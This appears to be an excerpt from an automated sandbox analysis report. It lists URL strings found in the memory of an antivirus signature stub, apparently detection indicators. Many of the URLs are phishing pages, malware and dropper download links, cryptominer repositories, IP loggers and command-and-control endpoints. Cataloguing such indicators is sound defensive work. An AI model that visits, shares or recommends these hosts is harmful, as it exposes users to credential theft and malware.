        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://fazalandsons.com.pk/wp-includes/ixr/class-ixr-base64.php
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://feedbackportal.download/ecm/ibm/3173379797/converter.dot
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://ferra.xyz/glsdil.php
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://fersite24.xyz/sa2234332324if3g4f23.php
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://filedropper.com/main/
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: https://fileshare24.top/3223if3g4f23.php
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://filingrimm.com/ecm/ibm/3149569888/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://filingrimm.com/ecm/ibm/3149569888/converter.dot
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://find-your-profithere11.com/?m=1&o=hybpdzu&t=yrcrt&u=lb8k605
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/gr-nte-rgwea-fbg-nh-yt.appspot.com/o/dbvfuery%2fw-euy-f8
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/jv-i4t-78gy-9h.appspot.com/o/bg-i547-gt9%2f84-75tr-g87.h
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/project-2141562284063338550.appspot.com/o/57-8574-54%2fg
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/project-6870194580473866225.appspot.com/o/f-grg45-t%2f24
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://firebasestorage.googleapis.com/v0/b/relaxdaysun.appspot.com/o/g%20ct%206%20yg-u%2ff%20cr%20y
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://flopyrhnd.tk/pr/lan.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://flyaircario.com/i/post.php
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://folkloreeconomy.com/next.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://formspree.io/f/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://fpvtunes.binaryprotectors.com/msreal/jreside
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://fqe.short.gy/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://fqe.short.gy/gclxo6
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://fqe.short.gy/j7xs8j
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://fr-an1.link/?e=atloperat
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://freelanceranik.com/group.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://friendoffishing.com//wp-content/themes/calliope/template-parts/wp_data.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://fs01n4.sendspace.com/dlpro/20fb7f511bc258709195b9ca0c6c258e/595e5d75/k6zafp/x6iu1omg_2_.zips
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://fs01n5.sendspace.com/dl/23da2e4841c1800d1954130c638d13c3/575d2f1645706e13/ooru9w/google%20ch
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://fslqzt.info/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://fx.pb-invioce.online/?e=accounts
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://fx.pb-invioce.online/?e=info
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://fx.pb-invioce.online/?e=m.turqueto
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://gantiatiainzx.us-south.cf.appdomain.cloud/?bbre=zxoiasxz#/abrimvh-&
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://gaspee.info/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://gatipackers-movers.com/wp-content/plugins/(
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://geoconsultantservices.com/some/next.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://get.adobe
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://gettraff.ru/aws?keyword=
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://gez.org.zw/errorpages/load/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://gfdefrgthyujjyhtbgrvfcdxs.s3.us-east-2.amazonaws.com/afghtyujytgrfdegt.html
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://gfoundries.ru/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://gg.gg/ig6f0
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://gidbasket.com/drms/ind.html
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://gist.githubusercontent.com/razdorhere
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://github-production-release-asset-2e65be.s3.amazonaws.com/512295
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://github.com/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Alexuiop1337/Trojan-Downloader/raw/master/fee.exe
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Bendr0id/xmrigCC
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://github.com/JulianG97/TextEditor
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Programmist6996
        Source: MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: https://github.com/bendr0id/xmrigcc
        Source: MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: https://github.com/bendr0id/xmrigcc-amd
        Source: MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: https://github.com/bendr0id/xmrigcc/
        Source: MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: https://github.com/bendr0id/xmrigcchttps://github.com/bendr0id/xmrigcc-amdhttps://github.com/bendr0i
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: https://github.com/georgw777/
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: https://github.com/georgw777/MediaManager
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://github.com/nwoolls/multiminer
        Source: MpSigStub.exe, 00000023.00000003.18351150877.0000015B1B40C000.00000004.00000001.sdmpString found in binary or memory: https://github.com/robertdavidgraham/masscan
        Source: MpSigStub.exe, 00000023.00000003.18351150877.0000015B1B40C000.00000004.00000001.sdmpString found in binary or memory: https://github.com/robertdavidgraham/masscanx
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://github.com/samratashok/nishang
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://gmaax.in/wp-includes/blocks/embed/
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: https://go.wikitextbooks.info
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: https://goo.gl/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://goo.gl/5gdfwn
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://goo.gl/6bvmse)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://goo.gl/t4wd4iscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://goo.gl/yuzvvg
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://goodbyegraffitiseattle.com/jhjdhjd/files/index.php)
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://goodiebagkanvas.com/m/?login=ithelp
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://goofy-davinci-6ad239.netlify.app/)/s/uri
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://gposervitech.com/wp-content/cgi-bins/files/office365html/office
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://grabify.link/ibac74
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://grace-memorial-church.com/shares/share/fghjke77383oned/share
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://griginet.com/ggassh/sshrod.php
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://gritodopovo.com.br/doc/reserva.wiz
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://gritodopovo.com.br/natalidade/new.wiz
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://gruasphenbogota.com/c74hwggxi/ka.html
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://gtec24.com/0mqp0yn6/kk.html
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://h9-mil.live/?e=anita.masyk
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://hamality.xyz
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://handrug.com.py/baterfly/aleacarte.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://hard10.authorizeddns.us/1?zved58il3scrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://hardshipaccompany.com/next.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://hardx2.mydad.info/1?ef8il3hesscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: https://hastebin.com/raw/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://hawkloger.shortcm.li/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://help-lolooo.cf/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://hghfjklkjlk.dvgwrgwjrgkhowrg.gb.net/qwertyxls/zip/document.php
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://hillsbed.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/ajo/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/egab/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/emzf/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/lin/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://hitechceramics.com/tism/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://hitecsec.org/wp-includes/js/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://hjnkmjkm.duckdns.org/bb/sf-express.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://hk.sd-inhcice.online/?e=sylvie.nicol
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://holidayinndarlingharbour-my.sharepoint.com/personal/dos_holidayinndarlingharbour_com_au/_lay
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://holisticxox.com/doc/check.doc
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://holisticxox.com/doc/payment.doc
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://houses43s.somdhouths.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://hrupd00t.rest/kgwdt5pthdawnnewibpybtyht/?i8kka7gioxp=c2f1zglhy2fyz29pddiwmebzyxvkawfjyxjnby5
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://http://bit.do/fq3bf
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://humana.service-now.com/arp
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://hvaclinic.com/redirect/amvhbi1mcmfuy29pcy52yxnzzxvyqgjlzmvzys5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://hx.ns-inhince.online/?e=arnaldi
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://i.gyazo.com/
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://i.gyazo.com/7fc7a0126fd7e7c8bcb89fc52967c8ec.png
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: https://i.imgur.com/c1skhwk.png
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://ia601404.us.archive.org/7/items/bypass_98778/bypass_98778.txt
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: https://icam%.cl/wp%-content/%.%.%./%.%.%./x3%.php
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: https://ieaspk.com/instagram.dll
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: https://ieaspk.com/instagram.dllx
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://iffusedtrac.xyz/3/bbc.exe
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://ikkon.pk/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://indygrace.com/sun/scan-img-rcsh-253018.exe
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://ines-arnshoff.de/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://inetaccelerator.ru/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://injectsorals.com/11/i.php
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://injectsorals.com/oja/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://integratedcombatcentre.com.au/wp-content/uploads/tmp/outlook365/outlook365/index.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://inter-pipe.ga/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: https://internetbanking.caixa.gov.br/SIIBC/index
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://ip4.seeip.org
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.com
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/1Lhk57
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://iplusprima.life/wp-content/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://iqras.pk/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://iqras.pk/inno/inno/innoc.doc
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://irecruiter.immentia.com/storage/framework/cache/data/0e/nC7vWe43YwJjj.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/b2qsmx
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/eakecx
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/fnchq3
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/nr85ic
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/p1cyuo
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/qyzae1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/x73tnb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://is.gd/xwjqn2
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://istitutobpascalweb.it/mynotescom/renoovohostinglilnuxadvanced.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/2aed6
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/9h7cn
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/cshd3
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/intdn
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/jbbhj
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/oiowg
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/vlafv
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://itsssl.com/vyqcm
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://itvantaqe.com/wp/wp-admin/user/class.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://izmirdentalimplant.net/wp-content/themes/neve/next.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://j-k9.club/?e=JPohlman
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://jabaltoor.com/copy/img/blog/cat-post/r7gnor1h0.php
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://jadr223.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://jammuking.xyz/wp-content/upgrabe/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://jaypalsinh.ngsoftweb.eEvvmU%in/OLD_07032021/classeEvvmU%es/PHPExcel/Calculation/Token/pm4Cb7
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: https://jbg-electric.com/css/x0sjv3efx.php
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://jbs-stamping.square.site/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://jcenter.bintray.com
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://jdjuwuryh.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://jiagnmehn.gq/post.php
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: https://jira3.cerner.com/rest/api/2/issue/
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://jjjkjkeh.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://joro4wixma.azurewebsites.net/wp-admin
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://josematechky.com/docs/ec21_order.doc
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://jovial-pasteur.159-89-118-202.plesk.page/wp-content/uploads/index.php
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://jrat.io
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://js-cloud.com/gate.php?token=
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://juniorleadersacademy.com/reporthotmail.php
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://jupiternepal.com/name/stducount/php/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://jusreihnt.com/dpz/?email=
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://kamalandcompany.com/drms/fert.html
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: https://kelwinsales.com/ds/1702.gif
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://kenosis.ml/wp-content/upgrabe/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://kiki-lo.online/?e=ckomorowski
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://kinzlerimmigration.com/wp_include/redirect/anvsawuuy2fydgvyqhridmmuy29t
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://kiosp.dyndns.dk/icon4/next.php
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://kirimliinsaat.com.tr/ui/office365
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://kiwisanagustin.com/wp-admin/includes/opo.php
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://kiwisanagustin.com/wp-admin/includes/opo.php%22%20method%3d%22post%22%20style%3d%22box-sizin
